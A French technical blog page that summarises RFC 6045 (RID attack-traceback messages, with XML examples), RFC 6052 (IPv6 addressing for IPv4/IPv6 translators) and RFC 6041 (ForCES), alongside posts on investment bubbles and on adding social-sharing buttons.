Le nouveau format, normalisé dans ce RFC 6045 (puis dans le RFC 6545, qui lui a succédé), se nomme RID pour Real-time Inter-network Defense et se base sur le format IODEF du RFC 5070, qui lui-même utilise XML. L'apport par rapport à l'IODEF de base est de cibler la circulation d'informations en « temps réel ». RID vise donc à permettre la réponse immédiate à une attaque. Par exemple, lorsqu'une dDoS est perpétrée par un botnet, il faut certes retrouver les zombies mais aussi identifier le contrôleur qui les commande. RID permet de demander un suivi de la trace des premiers, puis ensuite du second.

La section 2 traite de l'intégration aux systèmes existants. L'opérateur a typiquement un système de gestion centralisé de son réseau, un NMS. Le futur IHS (Incident Handling System) qui recevra et enverra les messages RID devra être intégré à ce NMS. La détection de l'attaque pourra se faire manuellement, ou via un IDS mais cette question est hors-sujet pour RID, qui se contente de permettre le signalement d'attaques, une fois celles-ci détectées.

Quelles sont les obstacles que rencontrent les tentatives de remonter à la source d'une attaque ? La section 3 en donne une liste, et c'est une lecture très recommandée pour comprendre la variété des problèmes auxquels fait face l'opérateur réseau lors d'une attaque. Par exemple, certaines attaques utilisent tellement peu de paquets qu'il est difficile de les répérer. D'autre part, pour prendre rapidement une « empreinte » des paquets utilisés pour l'attaque, les techniques à base d'une fonction de hachage ont souvent été utilisées (cf. « Hash-Based IP Traceback »). Or, certaines attaques ont un contenu des paquets qui varie énormément et il est difficile de trouver une « signature » qui permettrait de dire à l'opérateur précédent « Voici ce que je cherche ». Les nombreuses techniques de traceback pour IP ont été utilisées pour déterminer quelles étaient les informations importantes à inclure dans RID. Ainsi, il est essentiel d'inclure beaucoup d'informations dans le message RID car les champs significatifs et l'attaque, permettant de repérer les paquets, peuvent être n'importe lesquels. RID permet même d'envoyer la totalité du paquet, si nécessaire (section 3.2).

Une fois que le message RID est prêt, que fait-on pour la communication avec les autres opérateurs et avec les CSIRT ? Les sections 4.1 et 4.2 font remarquer que le courrier électronique n'est pas forcément adapté car il peut être trop lent. Mais, de toute façon, il faut prévoir plusieurs canaux de communication car, en cas d'attaque, certains deviendront peut-être inutilisables. Un réseau distinct de celui utilisé pour le trafic « normal » peut donc être nécessaire (voir plus loin le commentaire de la section 6). Le RFC suggère qu'on peut profiter des négociations qui précèdent un accord de peering pour mettre en place un canal de communication sécurisé.

Recommandation utile ou vœu pieux ? En tout cas, la section 4.2 rappelle également que RID ne devrait être utilisé que pour lutter contre des attaques, et pas pour perpétuer des sabotages (en dénonçant un innocent dans l'espoir qu'il se fasse filtrer) ou pour censurer.

Maintenant, place au format utilisé (section 4.3), fondé sur IODEF (RFC 5070). Il y a six messages RID possibles :

  • TraceRequest où on demande à un partenaire d'examiner son réseau pour voir d'où venait l'attaque (l'idée est que, partant de celui qui a détecté l'attaque, on envoit des Tracerequest successifs en remontant peu à peu vers la source de l'attaque).
  • Investigation où on demande une enquête mais pas un traçage de l'attaque, car le demandeur pense avoir déjà identifié la source.
  • Report où on transmet de l'information, sans demander d'action immédiate.
  • IncidentQuery où on demande des détails sur une attaque dont on a entendu parler (les deux derniers types de message sont typiquement pour la communication avec un CSIRT).
  • RequestAuthorization et Result servent à porter les résultats intermédiaires ou finaux.

La section 4.4 décrit plus en détail chacun de ces types.

La section 4.5 fournit plusieurs jolis exemples, que j'ai simplifié ici. Par exemple, une TraceRequest envoyé par un CSIRT qui a détecté une DoS et qui demande à un opérateur réseau de tracer l'attaque. Le message est composé d'un document RID puis du document IODEF qui décrit l'attaque :


<iodef-rid:RID> <!-- Le schéma est enregistré en
https://www.iana.org/assignments/xml-registry/ns.html -->
  <iodef-rid:RIDPolicy MsgType="TraceRequest" 
                       MsgDestination="RIDSystem">
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.3</iodef:Address>
    </iodef:Node>
    <iodef-rid:TrafficType type="Attack"/>
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
  </iodef-rid:RIDPolicy>
</iodef-rid:RID>
<!-- IODEF-Document accompanied by the above RID -->
<iodef:IODEF-Document>
  <iodef:Incident restriction="need-to-know" purpose="traceback">
    <iodef:DetectTime>2004-02-02T22:49:24+00:00</iodef:DetectTime>
    <iodef:StartTime>2004-02-02T22:19:24+00:00</iodef:StartTime>
    <iodef:ReportTime>2004-02-02T23:20:24+00:00</iodef:ReportTime>
    <iodef:Description>Host involved in DOS attack</iodef:Description>
    <iodef:EventData>
      <iodef:Flow>
        <iodef:System category="source">
          <iodef:Node>
            <iodef:Address category="ipv4-addr">192.0.2.35
...

Et la première réponse, qui indique que la demande de traçage a été approuvée :


<iodef-rid:RID>
  <iodef-rid:RIDPolicy MsgType="RequestAuthorization"
                       MsgDestination="RIDSystem">
    <iodef-rid:TrafficType type="Attack"/>
  </iodef-rid:RIDPolicy>
  <iodef-rid:RequestStatus AuthorizationStatus="Approved"/>
</iodef-rid:RID>

Et enfin la réponse finale :


<iodef-rid:RID>
  <iodef-rid:RIDPolicy MsgType="Result"
                       MsgDestination="RIDSystem">
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.67</iodef:Address>
    </iodef:Node>
    <iodef-rid:TrafficType type="Attack"/>
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
  </iodef-rid:RIDPolicy>
  <iodef-rid:IncidentSource>
    <iodef-rid:SourceFound>true</iodef-rid:SourceFound>
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.37</iodef:Address>
    </iodef:Node>
  </iodef-rid:IncidentSource>
</iodef-rid:RID>
<!-- IODEF-Document accompanied by the above RID -->
<iodef:IODEF-Document>
  <iodef:Incident restriction="need-to-know" purpose="traceback">
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
    <iodef:DetectTime>2004-02-02T22:49:24+00:00</iodef:DetectTime>
    <iodef:StartTime>2004-02-02T22:19:24+00:00</iodef:StartTime>
...
      <iodef:Expectation severity="high" action="rate-limit-host">
        <iodef:Description>
          Rate limit traffic close to source
        </iodef:Description>
      </iodef:Expectation>
      <iodef:Record>
        <iodef:RecordData>
          <iodef:Description>
            The IPv4 packet included was used in the described attack
          </iodef:Description>
          <iodef:RecordItem dtype="ipv4-packet">450000522ad9
          0000ff06c41fc0a801020a010102976d0050103e020810d9
          4a1350021000ad6700005468616e6b20796f7520666f7220
          6361726566756c6c792072656164696e6720746869732052
          46432e0a
          </iodef:RecordItem>
        </iodef:RecordData>
      </iodef:Record>
    </iodef:EventData>
    <iodef:History>
      <iodef:HistoryItem>
        <iodef:DateTime>2004-02-02T22:53:01+00:00</iodef:DateTime>
        <iodef:IncidentID name="CSIRT-FOR-OUR-DOMAIN">
          CSIRT-FOR-OUR-DOMAIN#207-1
        </iodef:IncidentID>
        <iodef:Description>
          Notification sent to next upstream NP closer to 192.0.2.35
        </iodef:Description>
      </iodef:HistoryItem>
      <iodef:HistoryItem action="rate-limit-host">
        <iodef:DateTime>2004-02-02T23:07:21+00:00</iodef:DateTime>
        <iodef:IncidentID name="CSIRT-FOR-NP3">
          CSIRT-FOR-NP3#3291-1
        </iodef:IncidentID>
        <iodef:Description>
          Host rate limited for 24 hours
        </iodef:Description>
      </iodef:HistoryItem>
    </iodef:History>
  </iodef:Incident>
</iodef:IODEF-Document>

L'entiéreté du schéma XML, en xsd, figure en section 5.

Comme déjà noté, l'utilisation de ces messages RID ne va pas sans risques. La section 6 les analyse. D'abord, il faut évidemment un canal sécurisé pour les transmettre. Sécurisé au sens de :

  • Confidentiel, puisque les informations RID peuvent être très sensibles,
  • Fiable (disponible), puisque l'attaque rendra peut-être inutilisable les canaux normaux,
  • Authentifié, parce que ceux à qui on demande d'agir sur la base de messages RID voudront savoir à qui ils ont affaire.

Un canal physique dédié faciliterait l'obtention de ces propriétés mais n'est pas forcément réaliste. Le RFC recommande donc plutôt un tunnel chiffré. En combinant TLS sur le tunnel et les signatures XML du RFC 3275 sur le message, on atteint la sécurité désirée. Le protocole exact utilisé est normalisé dans un autre document, le RFC 6046. Bien qu'il utilise le chiffrement, RID ne repose pas uniquement sur la sécurité du canal et permet de chiffrer aussi le message par le chiffrement XML.

RID soulève aussi des questions liées à la protection de la vie privée et la section 6.6 les étudie. RID fournit le moyen de spécifier des détails comme l'extension du « domaine de confiance » à qui on peut envoyer les informations (élément PolicyRegion, section 4.3.3.3).


Téléchargez le RFC 6045


L'article seul

Des bulles et de la crédulité

Première rédaction de cet article le 3 novembre 2010


Vous vous souvenez de la grande bulle de l'Internet en 1999-2001, lorsque des prédictions délirantes amenaient des milliers d'investisseurs à injecter plein d'argent dans le réseau que tous les costards-cravate sérieux méprisaient seulement quelques années auparavant ? Dans un article très détaillé et très érudit, « Bubbles, gullibility, and other challenges for economics, psychology, sociology, and information sciences> », Andrew Odlyzko revient sur cette bulle, sur celles qui l'ont précédé et celles qui l'ont suivie.

Odlyzko étudie surtout trois bulles, celle des chemins de fer britanniques vers 1845, celle de l'Internet en 1999-2000, et celle des subprimes qui s'est écroulée en 2008. À chaque fois, on retrouve les mêmes ingrédients notamment une formidable crédulité et une incapacité, chez des gens qui ont tous fait Harvard ou Polytechnique, à faire des maths élémentaires, par exemple des calculs d'intérêts composés (certaines prévisions faites pendant la bulle de l'Internet menaient en peu de temps à ce qu'il y ait davantage d'utilisateurs de l'Internet que d'habitants sur Terre). Ainsi, le mathématicien John Paulos, l'auteur de Innumeracy: Mathematical Illiteracy and its Consequences a lui même perdu beaucoup d'argent dans la bulle de l'Internet, pourtant basée sur des mathématiques ridicules.

L'auteur en déduit qu'on peut même tenter de définir un « indice de crédulité », dont la mesure permettrait d'indiquer qu'on se trouve dans une bulle et qu'il faut donc se méfier. D'autant plus que les personnes précisement chargées de veiller et de donner l'alarme sont les premières à lever les bras avec fatalisme et à dire que les bulles sont indétectables. L'article cite de nombreuses déclarations d'Alan Greenspan en ce sens ; quoique responsable de la surveillance monétaire, il affirme qu'on ne peut pas détecter les bulles mais n'en a pas pour autant déduit qu'il ne servait à rien et qu'il serait honnête de démissionner. Les journalistes n'ont pas fait mieux et tous reprenaient avec zéro sens critique les communiqués triomphants sur la croissance miraculeuse de l'Internet.

Odlyzko reprend donc tous les calculs, toutes les affirmations avancées pendant la bulle. Ce n'est pas facile car bien des rapports ultra-optimistes de l'époque ont complètement disparu des sites Web des entreprises concernées. Ainsi, UUNET présentait publiquement, pour encourager les investisseurs, des chiffres (par exemple sur la capacité de son épine dorsale) qui étaient en contradiction avec ses propres documents officiels enregistrés à la SEC. UUnet mentait sur ses capacités antérieures, pour que l'augmentation soit plus spectaculaire. Cette partie d'analyse a posteriori de la propagande pro-bulle est certainement la plus intéressante de l'article. Il faut la garder en mémoire à chaque fois qu'on voit un monsieur sérieux faire des prévisions appuyées sur du PowerPoint. Avec le recul, c'est consternant d'imbécillité, le terme « crédulité » parait bien indulgent, puisque tout le monde pouvait vérifier les documents SEC et refaire les calculs (qui étaient trivialement faux). Et pourtant, non seulement cela a eu lieu, mais cela a recommencé quelques années après avec les subprimes. D'autres embrouilles étaient utilisées pour tromper les investisseurs (victimes très consentantes, puisque la vérification aurait été facile), comme de confondre la capacité du réseau et le trafic effectif.

Les escroqueries comme celle de WorldCom ou d'Enron ne sont pas une nouveauté. Vu l'absence totale de sens critique avec lequel sont accueillies les bulles, on peut même se demander, et c'est ce que fait Odlyzko, s'il n'y a pas une raison plus profonde à la crédulité. Par exemple, les empereurs romains, pour tenir le peuple, lui fournissaient « du pain et des jeux ». Aujourd'hui, peu de gens dans les pays riches ont faim et les jeux sont peut-être devenus plus importants que le pain. Les bulles ne sont-elles pas simplement un spectacle ? Ou bien ont-elle une utilité réelle, par exemple pour convaincre les investisseurs de faire des dépenses lourdes et qui ne rapporteront rien ? Ainsi, la bulle des chemins de fer britanniques vers 1845 a ruiné des investisseurs crédules comme les sœurs Brontë, Charles Darwin ou comme le pédant économiste John Stuart Mill (qui, comme tous les économistes, pontifiait dans le vide sur les beautés du capitalisme, mais ne savait pas reconnaître une bulle) mais elle a aussi permis à la Grande-Bretagne d'avoir un formidable réseau ferré sur lequel son économie a pu s'appuyer. Finalement, les bulles servent peut-être à quelque chose ?

Pour prolonger la réflexion, un intéressant article de Paul Graham sur ce même sujet.


L'article seul

Mettre ou ne pas mettre des boutons de partage ?

Première rédaction de cet article le 1 novembre 2010


Des tas de sites Web ont désormais des petits boutons de partage des adresses avec ses connaissances, via les fameux « réseaux sociaux ». Lorsqu'on lit un article, on est donc souvent sollicité pour « partager cet article avec tes potes sur Facebook » ou « twitter ça tout de suite à tes suiveurs ». Comme j'ai eu des demandes de lecteurs de ce blog, je m'interroge : dois-je ajouter de tels boutons dans le bandeau bleu clair à gauche ?

Regarder le journal de mon blog permet de voir beaucoup de gens qui viennent via Facebook ou Twitter. Il est donc a priori intéressant de leur faciliter la tâche. Certes, ils peuvent aussi copier/coller l'adresse (avec Facebook, il n'est même pas nécessaire de copier/coller le titre, cela se fait tout seul quand on passe par le menu Links). Ils peuvent aussi se servir de fonctions de leur navigateur comme l'excellente extension ShareAholic de Firefox (ou celle de Mozilla Labs, F1). Mais ne serait-ce pas mieux de les aider ? Ou bien est-ce que cela fait trop blaireau, trop « le type qui a absolument besoin d'avoir du trafic sur son blog » ? En attendant une réponse à cette question philosophique, voyons les outils techniques disponibles. J'ai aussi créé une page Web pour les tester. En effet, beaucoup de moteurs de blog existants (par exemple WordPress avec, entre autre, Sociable) ont tout ce qu'il faut pour ajouter simplement de tels boutons. Mais, mon blog étant fait d'une manière spéciale, je dois développer un peu plus.

Pour Facebook, il existe une documentation officielle. Elle était fort simple, indiquant juste le petit bout de code HTML à placer (ce que j'ai fait dans ma page de test) mais a récemment été remplacée par une méthode bien plus complexe.

Twitter a aussi une méthode officielle. Mais on peut aussi mettre un simple lien fait à la main.

Pour identi.ca, je ne trouve pas de documentation standard. On peut s'en tirer en appelant index.php?action=newnotice comme documenté dans http://www.nuxified.org/blog/add-identica-button ou http://apachelog.wordpress.com/2010/10/01/identi-ca-and-wordpress-com-sharing-service/. Mais cela oblige à indiquer le titre et l'URL de la page, identi.ca ne le trouve pas seul. Bon, comme les pages HTML de mon blog sont générées automatiquement, cela ne devrait pas être trop dur à faire.

LinkedIn a aussi une documentation officielle et, comme avec identi.ca, il faut générer un bouton qui inclut le titre et l'adresse.

Enfin, le dernier que j'ai cherché sérieusement était del.icio.us, qui indique comment faire. L'utilisation de JavaScript dans le bouton officiel permet de récupérer facilement le titre et l'URL (ce dernier aurait pu être obtenu par le serveur dans le champ Referer:, cf. RFC 7231, section 5.5.2, mais le navigateur ne l'envoie pas forcément).

Par contre, je n'ai pas trouvé de solution pour l'IRC :-) Si on veut prévenir les abonnés de son canal favori, il faut le faire à la main, en copier/coller.

On le voit, se tenir au courant de tous les réseaux sociaux existants et de leurs méthodes de partage devient vite un travail à temps plein. Il existe donc un marché pour des solutions qui servent d'intermédiaire, en proposant un bouton qui donne accès à tous les réseaux sociaux mais attention : cela se fait au détriment de la vie privée. Si vous utilisez, un de ces services d'intermédiation pour partager votre site sur Facebook, vos lecteurs qui cliqueront donneront non seulement des données à Facebook (ce à quoi ils pouvaient s'attendre) mais également au service d'intermédiation. (Voir les recommandations de la CNIL.)

Sur la page Web de test, je n'ai montré qu'un seul de ces services, AddThis mais il en existe beaucoup d'autres, basé sur le même principe et ayant les mêmes défauts (http://www.addtoany.com/, http://www.sociofluid.com/, http://onlywire.com/thebutton, etc).

Bref, bouton Partage ou pas bouton Partage, voici la question. La plupart des lecteurs actuels de mon blog semblant très hostiles, je pense que cela ne va pas se faire de si tôt.


L'article seul

RFC 6052: IPv6 Addressing of IPv4/IPv6 Translators

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : C. Bao (CERNET Center/Tsinghua University), C. Huitema (Microsoft), M. Bagnulo (UC3M), M. Boucadair (France Telecom), X. Li (CERNET Center/Tsinghua University)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 1 novembre 2010


Il existe plusieurs mécanismes pour assurer la co-existence entre les protocoles IPv4 et IPv6. Ce RFC ne normalise pas un nouveau mécanisme mais spécifie les formats d'adresse à utiliser pour les traducteurs IPv4<->IPv6, les logiciels qui vont convertir d'un format dans l'autre. Il est donc le socle des résultats de la nouvelle version du groupe de travail IETF Behave qui, depuis l'échec de NAT-PT, essaie de normaliser une technique de traduction d'adresses permettant d'assurer la coexistence dans certains cas.

Le RFC du groupe Behave qui décrit le cadre général de cette traduction (Framework for IPv4/IPv6 Translation) est le RFC 6144. Empruntons-lui quelques exemples. Supposons par exemple un réseau purement IPv6 (hypothèse réaliste à l'heure où il ne reste plus que quelques mois d'adresses v4) et qui veut parler aux serveurs Web existants qui n'ont que v4. Un des mécanismes possibles est la traduction d'adresses. Supposons que le site Web convoité soit en 198.51.100.129. La machine purement v6 interroge un serveur DNS 64 (protocole pas encore normalisé) qui lui répond « Va voir en 64:ff9b::c633:6481 » (c633:6481 == 198.51.100.129). Elle émet alors un paquet IPv6 vers cette adresse. Sur le trajet, un traducteur d'adresses va prendre ce paquet, le traduire en v4 algorithmiquement et, lorsque la réponse reviendra, il la traduira en v6, l'envoyant à la machine cliente. Voici un exemple où une machine purement IPv6 tente de contacter Twitter, service purement IPv4 :

% telnet twitter.com 80
Trying 64:ff9b::80f2:f0f4...
Connected to twitter.com.
Escape character is '^]'.

Bien sûr, cette présentation est très sommaire mais c'est parce que le travail de spécification n'est pas encore terminé. La première étape de cette spécification est de décider des adresses utilisées et c'est ce que fait notre RFC. (Il pourrait d'ailleurs, dans le futur, être utilisé par des techniques autre que la traduction, comme l'encapsulation, cf. section 1.1.)

Un peu de vocabulaire, d'abord (section 1.3) :

  • Un traducteur d'adresse est tout dispositif qui va tripoter des adresses, qu'il ait accès aux paquets (dans ce cas, on peut l'appeler « traducteur v4/v6 » ou « traducteur IP ») ou pas (cas d'un serveur DNS 64).
  • IPv4-embedded IPv6 address, une adresse IPv6 qui contient une adresse IPv4 (comme dans l'exemple 64:ff9b::c633:6481 plus haut).
  • IPv4-converted IPv6 address, un cas particulier des précédentes,
  • IPv4-translatable IPv6 address, un autre cas particulier des IPv4-embedded IPv6 address, où l'adresse IPv6 est globalement unique et peut donc être routée dans le grand Internet.

Les traductions peuvent être sans état (stateless) ou bien avec état (stateful). Dans le premier cas, le traducteur n'a aucune mémoire. Chaque paquet est traité isolément, comme si le traducteur venait juste de démarrer. Cela permet donc de traiter une bien plus grande quantité de paquets et assure les meilleures performances et, surtout, le passage à l'échelle. Dans le second cas, celui de la traduction avec état, la traduction dépend des paquets précédents, par exemple parce que le traducteur se souvient que les paquets venant de tel port sont destinés à telle adresse. Nécessitant une table des correspondances en mémoire, la traduction avec état passe moins à l'échelle. Mais, dans certains cas, elle est la seule réaliste, puisqu'on ne peut pas stocker toutes les informations dans une seule adresse, surtout si elle est IPv4.

Armé de ces définitions, quels sont les formats d'adresses IPv4-embedded possibles ? La section 2 les liste. D'abord, un préfixe spécial a été réservé à l'IANA (cf. section 6) pour certaines de ces adresses : 64:ff9b::/96 (section 2.1). Lorsque vous verrez passer une adresse IPv6 commençant par ce préfixe, vous pouvez être sûr de voir une adresse IPv4 embarquée.

Ensuite, toutes les adresses IPv6 IPv4-embedded, qu'elles utilisent ce préfixe ou pas, suivent le même format (section 2.2) : un préfixe (64:ff9b::/96 ou bien un préfixe tiré de l'espace d'adressage de l'opérateur), l'adresse IPv4, un suffixe (parfois nul). Pour respecter la section 2.5.1 du RFC 4291, un octet nul est parfois ajouté au milieu de l'adresse IPv4. Six longueurs de préfixe sont acceptées, 32, 40, 48, 56, 64, ou 96 (cette dernière est celle qui est typiquement utilisée avec le préfixe 64:ff9b::/96). Les sections 3.3 et 3.4 expliquent quelle longueur choisir selon les cas.

Si on utilise un préfixe de longueur 48, comme l'octet qui va des bits 64 à 71 inclus doit être nul, l'adresse IPv4 est en deux parties. On a donc d'abord le préfixe IPv6, les deux premiers octets de l'adresse IPv4, un octet nul, le reste de l'adresse IPv4 et un suffixe de cinq octets. Avec un préfixe de longueur 96, tout est plus simple, le prefixe occupe les douze premiers octets, l'adresse IPv4 prend le reste (et le suffixe est absent). Le tableau 1 dans la section 2.2 résume les autres possibilités.

Une fois ce format défini, la section 2.3 décrit le (très simple) algorithme qui permet de passer d'une adresse IPv4 à une adresse IPv6 et réciproquement.

Petite question de présentation : comment afficher les adresses IPv6 IPv4-embedded ? Bien sûr en obéissant au RFC 4291 (section 2.2) et au RFC 5952. Comme le RFC 4291 permet de représenter les quatre derniers octets (et uniquement ceux-ci) sous la forme d'une adresse IPv4, l'adresse 64:ff9b::c633:6481, citée plus haut, aurait aussi pu s'écrire 64:ff9b::198.51.100.129, ce qui est certainement plus lisible.

Ensuite, comment utiliser ces adresses sur un vrai réseau ? La section 3 couvre les questions de déploiement. D'abord, le préfixe 64:ff9b::/96 ne doit être utilisé qu'avec des adresses IPv4 globalement uniques (donc, par exemple, pas avec celles du RFC 1918). Moins évident, il ne doit pas non plus être utilisé pour construire des adresses IPv6 IPv4-translatable, celles-ci devant être globalement uniques. Si tout le monde est libre de se servir de ce préfixe 64:ff9b::/96, on ne peut pas compter qu'on recevra les paquets qui lui sont adressés depuis un point quelconque de l'Internet. Son usage normal est limité à l'intérieur d'un réseau (section 3.1), autrement, il faut se servir de préfixes spécifiques d'un opérateur.

Pendant qu'on parle de ce préfixe, il faut noter que les opérateurs qui s'en servent peuvent l'annoncer dans leurs tables de routage et qu'il apparaîtra donc sur l'Internet, par exemple si un opérateur décide de fournir un service de traduction d'adresses à un autre. Mais une telle annonce devrait normalement être contrôlée (section 3.2) et ne pas être transmise à toute la DFZ. Et, normalement, ceux qui annoncent ce préfixe en BGP doivent logiquement fournir un service de traduction ensuite (ou bien ils créent un trou noir).

Quel préfixe choisir pour ses services de traduction ? La section 3.3 donne quelques conseils. Par exemple, la « meilleure » longueur est sans doute 32, car, une fois l'adresse IPv4 ajoutée, la totalité de l'information se trouve dans les bits « de routage » (les 64 premiers). Pour le routage, c'est donc la meilleure solution mais obtenir de son RIR un /32 entier uniquement pour le service de traduction d'adresses peut être dificile. Des préfixes plus longs sont donc plus raisonnables. Le RFC suggère par exemple qu'un opérateur qui a un /32 en tout consacre un /40 au service de traduction (moins de 0,5 % de son espace d'adressage). S'il s'agit d'un simple client et pas d'un opérateur, et qu'il a un /48, un /56 conviendra pour le service de traduction. Mais la valeur exacte dépend aussi du scénario de coexistence considéré.

En cas de traduction avec état (section 3.4), les choix peuvent être différents et le préfixe 64:ff9b::/96 est souvent la solution la plus intéressante.

Un des intérêts de ce RFC est la section 4, qui explique les raisons des choix faits. Ainsi, le suffixe, pour les formats où il y en avait un, aurait pu être utilisé pour stocker de l'information sur les ports (section 4.1). Cela aurait augmenté les chances de pouvoir faire une traduction sans état. Cette option n'a pas été retenue dans l'immédiat mais pourrait être ajoutée plus tard. En attendant, le suffixe a obligatoirement tous ses bits à zéro ce qui, pour le format avec préfixe /32, mène à un identificateur d'interface (les 64 derniers bits d'une adresse IPv6) entièrement nul. C'est normalement interdit (section 2.6.1 du RFC 4291) mais notre RFC explique que c'est acceptable dans le contexte limité de la traduction d'adresse.

Le choix de la valeur 64:ff9b::/96 pour le préfixe de référence est expliqué en section 4.2. D'abord, le préfixe existant pour les adresses IPv4, ::ffff:0:0/96 (section 2.5.5.2 du RFC 4291), aurait pu être réutilisé (c'était prévu dans la section 2.1 du RFC 2765). Cela aurait simplifié l'effort de normalisation. Le problème est que, justement, ce préfixe est déjà connu. Plusieurs mises en œuvre d'IPv6 le traitent à part (par exemple, Windows génère systématiquement des paquets IPv4 lorsqu'on lui présente ces adresses IPv6).

Il fallait donc allouer un nouveau préfixe. Un /32 aurait permis d'avoir tous les bits significatifs dans les 64 premiers bits mais n'aurait pas permis d'utiliser la représentation texte avec une adresse IPv4 (qui n'est possible qu'à la fin d'une adresse v6). Finalement, un préfixe /96 a été choisi. Sa valeur 64:ff9b::/96 n'a pas été tirée au hasard : elle est neutre pour le calcul de la somme de contrôle. La somme de 64 et de ff9b est ffff, ce qui est équivalent à zéro en complément à un. (Depuis, un autre préfixe l'a rejoint, le 64:ff9b:1::/48 du RFC 8215.)

Ces systèmes de traduction d'adresse posent-ils des problèmes de sécurité ? Oui, dit la section 5 qui en expose certains. Par exemple, un paquet peut mentir sur son adresse IP source, qu'il y ait traduction ou pas. En fait, note la section 5.1, un traducteur IP est comme un routeur, il a les mêmes vulnérabilités et il peut mettre en œuvre les mêmes protections. Ainsi, lorsqu'il reçoit un paquet IPv6 incluant une adresse IPv4, il peut, avant traduction, s'assurer que la machine était autorisée à utiliser cette adresse IPv4 (si le paquet vient de l'intérieur d'un réseau, c'est relativement facile). D'autres tests sont possibles comme les vérifications du chemin de retour (cf. RFC 3704).

D'autre part, lorsqu'un pare-feu teste les adresses IPv4 (section 5.2), on pourrait imaginer un attaquant qui envoie des paquets IPv6 avec adresse v4 embarquée. Le paquet v6 ne serait pas arrêté par les filtres v4 mais, après traduction, le paquet v4 pourrait faire des dégâts. Il est donc crucial que le pare-feu vérifie les adresses v4 embarquées comme si elles étaient natives.


Téléchargez le RFC 6052


L'article seul

RFC 6041: ForCES Applicability Statement

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : A. Crouch, H. Khosravi (Intel), A. Doria (LTU), X. Wang (Huawei), K. Ogawa (NTT Corporation)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 30 octobre 2010


Le protocole ForCES (Forwarding and Control Element Separation), décrit dans le RFC 5810, normalise la communication entre les différents éléments d'un routeur, de façon à permettre la création d'un routeur par l'assemblage de composants venus de constructeurs différents. Ce RFC 6041 se focalise sur l'applicabilité de ForCES, à savoir dans quels cas ce protocole est applicable et ce qu'on peut exactement lui demander. Ce RFC peut donc servir d'introduction de haut niveau à ForCES.

ForCES considère un routeur comme composé d'un élément de contrôle, qui parle les protocoles de routage comme OSPF, c'est le CE (Control Engine), et d'un ou plusieurs éléments qui transmettent effectivement les paquets, les FE (Forwarding Engine). ForCES est le mécanisme par lequel le CE communique avec ses FE. Outre le protocole lui-même, dans le RFC 5810, ForCES a aussi un modèle de données (RFC 5812) et un protocole de transport (RFC 5811). Dans quels cas peut-on les employer et, inversement, quand sont-ils inapplicables ? La section 4 forme le cœur du RFC et c'est surtout elle qui est résumée ici.

D'abord, ForCES est prévu pour des routeurs assez gros pour que les fonctions de contrôle et de transmission soient séparées. Sur un engin bas de gamme, où tout tient dans le même circuit, ForCES n'est sans doute pas utile. Par contre, les routeurs du milieu et du haut de gamme ont déjà une séparation physique entre le mécanisme de contrôle et les mécanismes de traitement des interfaces réseaux. Comme ce CE et ces FE doivent communiquer (par exemple, si le CE apprend par OSPF qu'une route pour 192.0.2.192/26 passe par l'interface ge-0-1, il doit communiquer cette information au FE qui gère cette interface, mais aussi à tous les autres pour qu'ils lui transmettent ce trafic). Les routeurs ont donc tous un protocole de communication entre CE et FE mais il est toujours privé (un des rares qui soit documenté est le Netlink de Linux, dans le RFC 3549). Avec ForCES, se profile la possibilité d'un protocole standard pour les remplacer.

Quels services, dans cette communication entre FE et CE, peuvent être assurés par ForCES ? Notons bien (section 4.1) que ForCES ne traite pas de la découverte par le CE de ses FE, découverte qui doit être assurée autrement. En revanche, une fois celle-ci effectuée, ForCES pilote l'association entre CE et FE, et la transmission des informations comme, par exemple, le nombre de ports réseaux que gère le FE. Le CE peut ensuite configurer le FE (par exemple en lui indiquant les adresses IP locales, qui doivent être transmises au CE), comme indiqué en section 4.1.3.

Mais le principal service assuré par ForCES est évidemment l'envoi d'informations de routage (section 4.1.4). Un CE transmet à ses FE les adresses IP à router, de façon à ce que les paquets soient transmis à la bonne interface réseau.

La section 4.1 note de nombreux autres services. Citons-en juste un : l'envoi par le CE de règles de filtrage (quels paquets abandonner, et sur quels critères), en section 4.1.7.

De quoi a besoin ForCES pour rendre ces services, et qui n'est pas forcément présent sur tous les routeurs ? De capacité réseau (section 4.2). Entre le CE et le FE, la capacité n'est pas infinie et des opérations comme l'envoi d'une table de routage complète peuvent être non-triviales sur un réseau d'interconnexion lent, d'autant plus que ForCES se veut utilisable pour des futures tables de routage, plus grandes que celle d'aujourd'hui (fin octobre 2010, il y a 340 000 entrées dans la table de routage BGP globale).

Cette question de la capacité en amène une autre, celle de la localité. ForCES sépare logiquement le CE et le FE. Peuvent-ils aussi être séparés physiquement, et mis dans des boîtes différentes ? La section 4.3 examine la question. Le principe est que la disponibilité du routeur ne devrait pas être affectée par la séparation du contrôle et de la transmission. La connexion entre le FE et le CE est doit donc être un bus très fiable, ou en tout cas aussi fiable que le CE, de façon à partager son sort. En pratique, cela veut dire que ForCES est utilisable sans problème pour les NE (Network Element, typiquement un routeur) où tout tient dans une seule boîte, avec des lames différentes pour le CE et les FE, mais un seul châssis et une interconnexion en Ethernet, PCI, etc (le cas de la majorité des routeurs actuels). Une telle configuration simplifiera notamment les problèmes de sécurité (cf. section 5). Mais ForCES peut aussi marcher dans des cas où CE et FE sont situés dans des boîtiers séparés.

